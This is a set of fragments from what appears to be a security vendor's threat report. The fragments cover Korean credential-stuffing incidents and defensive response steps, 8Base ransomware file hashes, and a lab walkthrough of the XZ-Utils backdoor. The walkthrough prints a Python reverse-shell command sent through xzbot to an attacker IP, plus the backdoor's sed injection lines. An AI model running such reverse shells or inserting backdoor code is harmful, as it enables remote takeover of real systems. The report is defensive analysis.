
EQST stands for "Experts, Qualified Security Team”, and is a group 
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highly qualified security experts with proven capabilities in the field  

of cyber threat analysis and research.
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Headline 
  

 

Credential stuffing attacks and step-by-step response 

strategies  
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Article 48 of the Information and Communications Network Act  

(Prohibition of Intrusive Acts on Information and Communications Networks) 

① No one shall intrude on an information and communications network without the rightful authority for access 

or beyond the permitted authority for access.  

* Imprisonment of up to 5 years or a fine of up to 50 million Korean won 
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Date Target Description 

Jan. 2024 
Online education 

website 

· Personal information of XX thousand members was leaked due to a credential 

stuffing attack and a cross-site scripting (XSS) attack on the bulletin board. 

· The attacker took over Member A's account through a credential stuffing 

attack that utilized an ID and password obtained in advance, and additionally 

leaked personal information by inserting a malicious script into the bulletin 

board for reporting illegal usage through Member A's account. 

Nov. 2023 Lottery website  

· The attacker changed the member's password and performed a fraudulent 

login. 

· Personal information (name, date of birth, phone number, email and virtual 

account) was leaked. 

· The website took steps to reset the passwords of members who were identified 

as having suffered damage. 

Oct. 2023 Sports website 

· In the Asian Games soccer quarterfinal match between Korea and China, over 

90% of people cheered for the Chinese team in XX Sports' click rooting service. 

· On this website, click rooting is possible without logging in. The attacker used 

a macro to click root through 2 foreign IPs 

Jul. 2023 
Coffee shop 

website 

· The attacker logged in to the app without permission using a credential 

stuffing attack and made purchases using the customer's (member) prepaid 

charges. 

· The attacker mainly purchased tumblers that were easy to cash out, and the 

coffee company compensated the customer for the entire prepaid amount 

· No separate secondary authentication was required at the login or transaction 

stage. 

Jul. 2023 

Employment 

information 

website 

· Personal information was leaked through over XX thousand unauthorized 

logins from foreign IPs, including ones in China. 

· 13 registered personal information items, including name, gender, year of 

birth, address, and landline number, were leaked. 
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1. Identify the attacker's purpose and current situation 

- What is the purpose of the page under a credential stuffing attack? 

: Identify information (personal information) that an attacker can obtain from the page. 

 

- What fields/parameters and response values (inputs) does the attacker manipulate? 

: Identify what information the attacker is trying to check for consistency. 

: Identify what personal information items are included in the input values. 

: Identify what unique information is included in the response values. 

 

- How many attempts and how? 

: Determine whether it is a credential attack or a simple attack. 

: Sequential increase/decrease of input values or sequential addition of strings has a low success rate. 

2. Consider blocking the credential stuffing completely 

- Consider a response method that limits the number of attempts per user. 

: Limit the number of attempts using a user classification method. 

 (Login session, Src_IP, Pre-login session, User-Agent, etc.) 

 

- Prevent damage from unauthorized logins 

: Defense through multiple/complex authentication 

3. Consider obstructing attacker actions 

- Defense using restrictions on access to the target page (URL) by IP 

: If it is difficult to implement the function in the app (server), implement it through an NW security solution (e.g., 

dedicated equipment). 

: Support the threshold access blocking response function in AWS/Azure. 

: Respond using WAF and SSL decryption traffic at OnPrem. 

 

- Defense through implementing CAPTCHAs 

: For pages where attacks/issues occur frequently, such as in the case of membership registration or identity 

verification, apply CAPTCHAs unconditionally. 

: In the case of pages that general users frequently access (for example, login page), apply CAPTCHAs when 

abnormal behavior is detected. 
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4. Apply techniques to detect credential stuffing block bypasses 

- Use techniques to detect connections bypass blocking 

: It is necessary to detect attempts to bypass the CAPTCHA through a manual method rather than an automatic 

method. 

 

- Detection and analysis techniques (example) 

: When accessing specific pages only 

: When accessing with a changed HTTP header 

: Detect persistent entry attacks (small number of accesses over a long period of time). 

: If necessary, perform monitoring by expanding the IP search criteria to C/B Classes. 

5. Respond while considering service stability 

- NAT IP band with many users 

: Recognize normal access by multiple users, not just one user, and handle it as an exception. 

 

- Seek various response methods other than blocking 

: Apply CAPTCHAs/additional authentication. 

: Notify users/administrators of blocking information. 

: Clear the block after a certain period of time. 

6. Preventive and follow-up measures 

- Design safe service logic against force attacks when implementing an app 

: Implement user-friendly security functions; implement protection processes 

 

- Take action against attempted credential stuffing attacks 

: Cancel illegal event wins, alert via user verification, etc. 

 

- Respond to accounts that have been exposed to the dark web 

: If necessary, implement an automated response process using services that provide dark web information. 

: Lock/change/guide measures for login to exposed accounts. 
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https://www.skshieldus.com/kor/service/information/consulting/consulting.do?_gl=1*1d3osu5*_ga*Mjk1MDkwMzMwLjE3MTQ2MzY2NTE.*_ga_KE09H4J10K*MTcxNDYzNjY1MC4xLjAuMTcxNDYzNjY1MC42MC4wLjA.*_ga_G70943657Z*MTcxNDYzNjY1MC4xLjAuMTcxNDYzNjY1MC42MC4wLjEzNzAzOTA0ODM.#mock-hack
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Keep up with Ransomware 
   

 

Threat of 8Base ransomware to small-and-medium-

sized businesses

◼
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ae0087b0e2f4292c64c5232368e562c30da4db998734b9b3dd5e27f456741f9c 

4e4c154f0500990e897ca9650eafd3c6255ba4df3b4bc620c6ba27b718278392 

b4b89828380c4781c7beafa6dce00ae38cd4adc13ad56792996e28c41def5c53  

454f9058a9fd9c266782389850d6142a0d04ce9d8042bc069ccd8d90d60be6d5 

7e290b69efbd441e9f968dd21304c7685ddae17be0378113650fba822af08f69 

rh111.exe 

executable.exe 

mtx111.exe 
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Research & Technique 
    

 

Analysis of XZ-Utils backdoor malware (CVE-2024-3094)

 

  

 

 

https://www.openwall.com/lists/oss-security/2024/03/29/4
https://github.com/tukaani-project/xz
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① The attacker searches for an open-source project vulnerable to supply chain attacks  

② The attacker installs a backdoor in the open-source project software source code 

③ The victims are exposed to attacks when they download the software with the backdoor installed 

④ The attacker triggers backdoors to remotely distribute ransomware and malware on the victims’ PCs 
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S/W Vulnerable versions 

XZ-Utils 5.6.0, 5.6.1 

 

■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 22.04 

XZ-Utils 5.6.1 

(192.168.102.74) 

Attacker 
Kali Linux 

(192.168.219.129) 
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$ python3 patch.py src/liblzma/.libs/liblzma.so.5.6.1 

$ ./main -addr 192.168.102.74 -cmd ` python -c 'import 

socket,subprocess,o;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.216.29",7777));os.du

p2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproces.call(["/bin/sh","-i"]);'` 

 

 

 

 

https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
https://github.com/amlweems/xzbot
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sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" 

src/liblzma/check/crc64_fast.c | \ 

sed "/include \"crc64_arm64.h\"/a \\$V" | \ 

sed "1i # 0 \"src/liblzma/check/crc32_fast.c\"" 2>/dev/null 
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0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 
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which xz 

xz --version 

 

 

 

S/W Recommended patch version 

XZ-utils 5.4.6 

 

  

https://tukaani.org/xz-backdoor/
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